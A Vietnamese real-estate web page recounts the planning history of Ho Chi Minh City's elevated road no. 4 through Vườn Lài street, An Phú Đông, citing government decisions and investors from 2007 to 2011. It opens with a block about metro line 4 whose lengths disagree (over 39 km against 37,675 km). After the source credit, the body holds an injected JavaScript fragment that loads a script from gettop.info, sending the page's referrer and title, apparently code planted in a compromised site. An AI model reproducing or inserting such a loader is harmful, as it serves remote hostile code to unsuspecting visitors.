Compare Listings

DỰ ÁN ĐƯỜNG TRÊN CAO TUYẾN SỐ 4 ĐI QUA ĐƯỜNG VƯỜN LÀI, P.AN PHÚ ĐÔNG, Q.12

DỰ ÁN ĐƯỜNG TRÊN CAO TUYẾN SỐ 4 ĐI QUA ĐƯỜNG VƯỜN LÀI, P.AN PHÚ ĐÔNG, Q.12

TP HCM: Đầu tư 97.000 tỷ đồng cho Dự án tuyến metro số 4 (cầu Bến Cát, Quận Gò Vấp) – đường Nguyễn Văn Linh, Quận 7 TP HCM có vốn đầu tư lớn nhất 97.000 tỷ đồng do là tuyến metro dài hơn 39 km.

  • Hướng tuyến: Thạnh Xuân (quận 12) – Hà Huy Giáp – Nguyễn Oanh – Nguyễn Kiệm – Phan Đình Phùng – Hai Bà Trưng – Bến Thành – Nguyễn Thái Học – Tôn Đản – Nguyễn Hữu Thọ – Khu đô thị Hiệp Phước.
  • Tổng chiều dài: khoảng 37,675 km.
  • Số lượng ga: 33 ga (02 ga trên mặt đất, 16 ga trên cao, 15 ga ngầm).
  • Màu sắc: màu xanh lá cây tươi (L4).
  • Depot: gồm Depot Thạnh Xuân (Quận 12) với diện tích 27 ha và Depot Hiệp Phước (Nhà Bè) với diện tích 20 ha.

Thông tin:

+ Giai đoạn 1a: Ga Công viên Gia Định – Ga Hoàng Diệu, bao gồm depot tại Công viên Gia Định (L=6,375 km).

+ Giai đoạn 1b: Ga Công viên Gia Định – Thạnh Xuân (L = 6,975 km).

+ Giai đoạn 1c: Ga Hoàng Diệu- Ga Phước Kiển (L = 6,975 km).

+ Giai đoạn 2: Ga Phước Kiển – Ga bến tàu Hiệp Phước (L= 17,35 km)

cac tuyen metro tai HCM

Từ đầu thế kỷ 21, TP. HCM đã có ý tưởng xây dựng một hệ thống đường trên cao giống như Băng Cốc để tránh ùn tắc giao thông.

Năm 2005, TP đã đưa ý tưởng này vào Quy hoạch chung phát triển thành phố Hồ Chí Minh đến năm 2020.

Ngày 22/01/2007, Thủ tướng Chính phủ phê duyệt bằng quyết định số 101/QĐ-TTg, trong đó 4 tuyến đường trên cao đã chính thức được đưa vào quy hoạch hệ thống giao thông vận tải thành phố Hồ Chí Minh.

Ngày 06/01/2010, Phó Thủ tướng Hoàng Trung Hải đã thay Thủ tướng ký quyết định số 24/QĐ-TTg phê duyệt điều chỉnh quy hoạch chung xây dựng thành phố hồ chí minh đến năm 2025, theo đó, 4 tuyến đường trên cao liên thông với nhau kết nối từ trung tâm thành phố Hồ Chí Minh ra 4 hướng cửa ngõ.

Kế hoạch này ngay lập tức đã thu hút được sự quan tâm của nhiều tổ chức quốc tế. Đến ngày 6/12/2007, công ty GS E&C đã ký kết với TP bản ghi nhớ về việc nghiên cứu đầu tư xây dựng tuyến đường trên cao số 1 theo hình thức BOT (xây dựng – khai thác thu hồi vốn – chuyển giao). Nhưng sau một thời gian “im hơi lặng tiếng”, đến tháng 2/2009, công ty GS E&C xin rút lui. Lý do rút lui là do khó khăn về tài chính và sự đầu tư cho tuyến Tân Sơn Nhất – Bình Lợi còn dở dang.

Tuyến số 2 và số 4 cũng nhanh chóng có nhà đầu tư quan tâm xin nghiên cứu. Tháng 2/2008, UBND TPHCM cũng đã chính thức giao cho tập đoàn Wijaya Baru Global Berhad (Malaysia) nghiên cứu khả thi xây dựng dự án xây dựng tuyến số 2, giao cho Tổng công ty xây dựng số 1 (Bộ Xây dựng) nghiên cứu đầu tư dự án xây dựng tuyến số 4.

Riêng tuyến số 3 đến nay vẫn chưa có nhà đầu tư nào mặn mà.

Khi nghiên cứu đầu tư các tuyến số 2 và số 4, các nhà đầu tư đã gặp một số vướng mắc. Theo các nhà đầu tư, hướng tuyến số 2 theo quy hoạch được Thủ tướng duyệt, có tính khả thi không cao do ảnh hưởng đến quy hoạch ga Hòa Hưng của tuyến đường sắt quốc gia. Ngoài ra, tuyến này còn đi qua nhiều khu dân cư đông đúc, bề rộng đường nhỏ và quy hoạch lộ giới các tuyến đường này không đủ để xây dựng đường trên cao. Nếu thực hiện, chi phí đền bù giải phóng mặt bằng sẽ rất cao. Còn tuyến số 4, nhà đầu tư cũng cho là chi phí đền bù giải phóng mặt bằng cao nên khó khả thi. Ngoài ra, theo nhà đầu tư thì hướng tuyến đã được duyệt sẽ ảnh hưởng đến quy hoạch của các địa bàn có đường trên cao số 4 đi qua, phương án thi công cũng sẽ ảnh hưởng đến giao thông khu vực…

 clip_image027_thumb[1]

Ngày 07 tháng 01 năm 2010 UBND TP. HCM có công văn số 39/UBND-ĐTMT trình Thủ tướng Chính phủ và Bộ Kế hoạch và Đầu tư, Bộ Xây dựng, Bộ Giao thông vận tải xin điều chỉnh quy hoạch 2 tuyến đường trên cao số 2 và số 4.

Ngày 01/03/2010, Văn phòng Chính Phủ có công văn số 1278/VPCP-KTN thông báo ý kiến chỉ đạo của Phó Thủ tướng Hoàng Trung Hải. Theo đó, Giao Bộ Giao thông vận tải chủ trì, phối hợp với Ủy ban nhân dân thành phố Hồ Chí Minh và các cơ quan liên quan xem xét việc điều chỉnh quy hoạch hệ thống đường trên cao tại thành phố Hồ Chí Minh, trình Thủ tướng Chính phủ xem xét, quyết định.

Ngày 17/05/2010, Bộ Giao thông vận tải có công văn số 3117/BGTVT-KHĐT trình Chính phủ. Theo đó, Bộ giao thông vận tải đề nghị điều chỉnh quy hoạch đường sắt nối cảng Cát Lái và tuyến đường bộ trên cao số 2 và số 4 tại thành phố Hồ Chí Minh.

Ngày 02/06/2010, Thủ tướng Chính phủ có công văn số 906/TTg-KTN gửi Bộ giao thông vận tải và UBND TP. HCM. Theo đó, Thủ tướng Chính phủ có ý kiến đồng ý việc điều chỉnh quy hoạch đường sắt nối cảng Cát Lái và tuyến đường bộ trên cao số 2, số 4 tại thành phố Hồ Chí Minh.

Ngày 04/4/2011 UBND TP. HCM có công văn số 1513/UBND-ĐTMT trình Thủ tướng Chính phủ, Bộ Tài chính, Bộ Giao thông vận tải, Bộ Kế hoạch và đầu tư đề nghị được áp dụng phương thức chỉ định nhà đầu tư đối với 8 dự án giao thông trọng điểm của thành phố thực hiện theo Nghị định số 108/2009/NĐ-CP ngày 27/11/2009 của Chính phủ gồm: Bãi đậu xe ngầm và dịch vụ công cộng tại khu vực sân bóng đá Tao Đàn (quận 1); Cầu Sài Gòn 2; Cầu Vàm Thuật và đường Vườn Lài (quận 12); Đường trên cao số 4; Đường kết nối từ Ngã ba An Lạc đến Nút giao thông đường Nguyễn Văn Linh (Vành đai 2); Cầu Rạch Chiếc trên Đường vành đai 2; Đường nối từ cầu Rạch Chiếc đến nút giao Bình Thái; Đường Liên tỉnh lộ 25B. Trong đó UBND TP. HCM đã giải trình tính cấp bách của từng dự án. Tuy nhiên, trong công văn này có một điều mà dường như UBND TP “bắt cá hai tay”. Vừa đề xuất cho đường trên cao số 4, vừa đề xuất cho đường Vườn Lài và cầu Vàm Thuật, mà theo ý kiến của Thủ tướng tại công văn số 906/TTg-KTN ngày 02/6/2010 đã nhất trí với đề xuất của TP điều chỉnh dự án đường bộ trên cao số 4 mà theo đó, nó nằm ngay trên đường Vườn Lài!.

Ngày 20 tháng 5 năm 2011, Văn phòng Thủ tướng có công văn gửi UBND TP. HCM truyền đạt ý kiến của Thủ tướng nhất trí với UBND TP. HCM về việc chỉ định nhà đầu tư thực hiện theo Nghị định số 108/2009/NĐ-CP ngày 27/11/2009 của Chính phủ. Trong đó Thủ tướng chỉ nhất trí với 4 dự án bao gồm: xây dựng bãi đậu xe ngầm và dịch vụ công cộng tại sân bóng đá Tao Đàn, xây dựng tuyến đường trên cao số 4, xây dựng đường kết nối từ ngã ba An Lạc đến nút giao đường Nguyễn Văn Linh, xây dựng đường liên tỉnh lộ 25B. Thủ tướng cũng ủy quyền Chủ tịch Ủy ban nhân dân thành phố Hồ Chí Minh xem xét, quyết định và chịu trách nhiệm về hiệu quả đầu tư các Dự án. Bốn dự án còn lại Ủy ban nhân dân Thành phố xem xét, quyết định hình thức lựa chọn Nhà đầu tư theo thẩm quyền.

Trong một động thái khác, trước đó UBND TPHCM đã chấp thuận chủ trương cho phép nhà đầu tư – Liên danh VSH bao gồm Công ty Cổ phần Đầu tư và Phát triển cơ sở hạ tầng Việt Nam, Công ty TNHH Tư vấn đầu tư xây dựng HPCI và Tập đoàn Sông Đà tự trang trải chi phí để nghiên cứu lập Đề xuất dự án xây dựng cầu Vàm Thuật, đường Vườn Lài và khu dân cư An Phú Đông thuộc địa bàn quận 12. UBND TP giao Sở Giao thông vận tải làm cơ quan đầu mối của TP, hướng dẫn Liên danh VSH tổ chức nghiên cứu dự án đúng theo quy định của Nhà nước đồng thời cho phép thành lập Tổ công tác liên ngành do Lãnh đạo Sở Giao thông vận tải phụ trách. Tổ công tác liên ngành có trách nhiệm thẩm tra hồ sơ pháp lý, năng lực và kinh nghiệm, tỷ tệ góp vốn tham gia của các đơn vị thành viên và nội dung Đề xuất đầu tư dự án của nhà đầu tư… UBND TP giao Sở Quy hoạch – Kiến trúc có trách nhiệm khẩn trương thực hiện công tác điều chỉnh Quy hoạch chi tiết phường An Phú Đông, quận 12.

Mới đây, trong chuyến thăm và làm việc tại TP. HCM với các lãnh đạo chủ chốt của Thành phố, Thủ tướng Nguyễn Tấn Dũng cùng lãnh đạo TP.HCM nghiên cứu sa bàn quy hoạch Bán đảo Bình Quới – Thanh Đa. Tuy các phương tiện thông tin đại chúng không đưa tin chi tiết, nhưng giới thạo tin tin rằng Thủ tướng đang xem xét việc chỉ định nhà đầu tư dự án đường trên cao số 4 theo hình thức BOT và BT, cụ thể là việc Tổng công ty xây dựng số 1 đề xuất làm đường trên cao số 4 có thu phí để đổi lấy việc khai thác bán đảo Bình Quới – Thanh Đa.

Ngày 6-9-2011 trong Công văn số 46/TTg-KTN gửi UBND TPHCM, Phó Thủ tướng Hoàng Trung Hải đã đồng ý cho thành phố lựa chọn chỉ định nhà đầu tư thực hiện dự án Khu đô thị Bình Quới – Thanh Đa như đề nghị của UBND TPHCM.

Ngày 10/10/2011 báo Sài Gòn Giải Phóng online đăng bài ““Nóng” lại dự án khu đô thị Bình Quới – Thanh Đa”.

Xem ra, giấc mơ “lên cao” của An Phú Đông đang đến gần.

Theo Kênh thông tin bất động sản hàng đầu Việt Nam: http://thitruongcanho.net/

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

img

Minh Hảo

Related posts

Toky Tower đón đầu phân khúc vừa túi tiền – Danh Khôi Việt

(DĐDN)- Cty Bất động sản Danh Khôi Việt, một trong những đơn vị phân phối...

Continue reading
by Minh Hảo

Căn hộ Toky Tower – CÔNG TY TNHH XÂY DỰNG SƠN HẢI

Công Ty TNHH Xây Dựng Sơn Hải được thành lập năm 2002. Với sự chuẩn bị chu...

Continue reading
by Minh Hảo

Công Ty Cổ Phần Đầu Tư & Xây Dựng Công Trình 557 – CĐT Toky Tower

Công ty Cổ phần Đầu tư & Phát triển công trình 557 (CIENCO 557) làm chủ đầu...

Continue reading
by Minh Hảo